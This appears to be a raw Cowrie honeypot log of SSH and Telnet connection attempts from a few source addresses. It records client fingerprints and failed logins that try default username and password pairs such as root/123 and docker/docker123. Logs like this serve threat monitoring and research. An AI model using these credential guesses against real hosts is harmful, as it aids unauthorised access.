{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52860,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae10297330d","protocol":"ssh","message":"New connection: 192.109.200.78:52860 (10.17.0.5:22) [session: bae10297330d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:07.246765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:07.252393Z","src_ip":"192.109.200.78","session":"bae10297330d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:07.336061Z","src_ip":"192.109.200.78","session":"bae10297330d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:07.586107Z","src_ip":"192.109.200.78","session":"bae10297330d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:08.793653Z","src_ip":"192.109.200.78","session":"bae10297330d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":39676,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84d87d76918","protocol":"telnet","message":"New connection: 5.42.229.203:39676 (159.203.135.109:23) [session: c84d87d76918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:08.882803Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":39784,"dst_ip":"159.203.135.109","dst_port":23,"session":"20154b5f769f","protocol":"telnet","message":"New connection: 5.42.229.203:39784 (159.203.135.109:23) [session: 20154b5f769f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:09.080562Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":39754,"dst_ip":"159.203.135.109","dst_port":23,"session":"01da1800ee0e","protocol":"telnet","message":"New connection: 5.42.229.203:39754 (159.203.135.109:23) [session: 01da1800ee0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:09.086964Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54746,"dst_ip":"10.17.0.5","dst_port":22,"session":"b222510c0fda","protocol":"ssh","message":"New connection: 192.109.200.78:54746 (10.17.0.5:22) [session: b222510c0fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:11.232328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:11.237139Z","src_ip":"192.109.200.78","session":"b222510c0fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:11.417828Z","src_ip":"192.109.200.78","session":"b222510c0fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:11.761561Z","src_ip":"192.109.200.78","session":"b222510c0fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:12.849132Z","src_ip":"192.109.200.78","session":"b222510c0fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54782,"dst_ip":"10.17.0.5","dst_port":22,"session":"4773bdfeb948","protocol":"ssh","message":"New connection: 192.109.200.78:54782 (10.17.0.5:22) [session: 4773bdfeb948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:15.456431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:15.470154Z","src_ip":"192.109.200.78","session":"4773bdfeb948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:15.554778Z","src_ip":"192.109.200.78","session":"4773bdfeb948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:15.809967Z","src_ip":"192.109.200.78","session":"4773bdfeb948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:17.054437Z","src_ip":"192.109.200.78","session":"4773bdfeb948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92205214500427,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:18.634077Z","src_ip":"5.42.229.203","session":"48849e599afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55182,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de39877523d","protocol":"ssh","message":"New connection: 192.109.200.78:55182 (10.17.0.5:22) [session: 9de39877523d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:19.576385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:19.651185Z","src_ip":"192.109.200.78","session":"9de39877523d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:19.694967Z","src_ip":"192.109.200.78","session":"9de39877523d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:19.999691Z","src_ip":"192.109.200.78","session":"9de39877523d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:21.090560Z","src_ip":"192.109.200.78","session":"9de39877523d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55196,"dst_ip":"10.17.0.5","dst_port":22,"session":"d43689ae6839","protocol":"ssh","message":"New connection: 192.109.200.78:55196 (10.17.0.5:22) [session: d43689ae6839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:23.772207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:23.777387Z","src_ip":"192.109.200.78","session":"d43689ae6839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:23.865866Z","src_ip":"192.109.200.78","session":"d43689ae6839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:24.402091Z","src_ip":"192.109.200.78","session":"d43689ae6839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:25.492687Z","src_ip":"192.109.200.78","session":"d43689ae6839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54882,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ea60bf2031","protocol":"ssh","message":"New connection: 192.109.200.78:54882 (10.17.0.5:22) [session: a7ea60bf2031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:28.040788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:28.046279Z","src_ip":"192.109.200.78","session":"a7ea60bf2031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:28.130010Z","src_ip":"192.109.200.78","session":"a7ea60bf2031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:28.675961Z","src_ip":"192.109.200.78","session":"a7ea60bf2031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:29.761033Z","src_ip":"192.109.200.78","session":"a7ea60bf2031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54894,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d588f63008d","protocol":"ssh","message":"New connection: 192.109.200.78:54894 (10.17.0.5:22) [session: 4d588f63008d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:32.134127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:32.138970Z","src_ip":"192.109.200.78","session":"4d588f63008d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:32.229108Z","src_ip":"192.109.200.78","session":"4d588f63008d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:32.485278Z","src_ip":"192.109.200.78","session":"4d588f63008d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:33.569700Z","src_ip":"192.109.200.78","session":"4d588f63008d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55018,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c917d00c189","protocol":"ssh","message":"New connection: 159.203.92.129:55018 (159.203.135.109:22) [session: 2c917d00c189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:34.398627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:34.403620Z","src_ip":"159.203.92.129","session":"2c917d00c189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:34.408759Z","src_ip":"159.203.92.129","session":"2c917d00c189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd2018","message":"login attempt [admin/P@ssw0rd2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:34.467696Z","src_ip":"159.203.92.129","session":"2c917d00c189","protocol":"ssh"}
